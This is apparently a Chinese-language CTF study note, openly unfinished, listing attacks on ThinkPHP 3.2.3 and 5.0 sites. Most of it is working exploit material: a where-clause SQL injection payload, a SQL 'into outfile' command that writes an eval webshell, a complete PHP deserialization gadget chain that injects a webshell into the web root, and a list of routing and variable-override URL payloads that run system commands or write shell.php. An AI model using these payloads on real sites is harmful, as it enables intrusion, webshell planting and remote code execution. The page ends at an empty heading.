前言
先占坑,目前不熟,以后填坑
一些漏洞点
thinkphp3.2.3
如果提交的参数可渲染
如果提交的参数可以渲染页面,可以尝试直接提交php代码
当运行目录不是为/public
当thinkphp的运行目录未正常选择在/public,那么可能可以读取到日志
3.x版本路径,/Application/Runtime/Logs/Home/22_11_23.log
5.0x版本路径, /runtime/log/202211/23.log
sql注入
如果提交参数的点存在sql查询
基于where的sql注入,未果未考虑数组的情况
id[where]=id=0 union select 1,2,3,4
SQL高级写马
写马的前提是mysql配置文件secure-file-priv= 表示可以写目录
select username,password from user limit 1 into outfile "d://1.txt" lines terminated by "<?php eval($_POST[1]);?>";
意思是你写一句话 后面放入什么语句作为结束语
反序列化
如果该版本有序列化入口,那么如果你知道数据库信息,可以通过写文件exp,路径url/a.php,参数POST 1
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img=new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle=new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data = array();
protected $db = null;
protected $pk;
public function __construct(){
$this->db=new Mysql();
$this->pk='id';
$this->data[$this->pk] = array(
"table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
"where" => "1"
);
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, // 开启才能读取文件
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
);
protected $config = array(
"debug" => 1,
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'ctfshow', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306'
);
}
}
namespace{
use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));
}
tp5.0
未开启强制路由导致的RCE
支持url/?s=index,这个就是未强制路由
?s=index/think\Request/input&filter=system&data=dir
?s=index/think\Request/input&filter[]=system&data=pwd
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
变量覆盖导致的RCE
如果页面可以变量覆盖,例如?name=sibei,可以尝试RCE
?name=_content&from=<?php%20system("cat%20/f*")?>
反序列化
``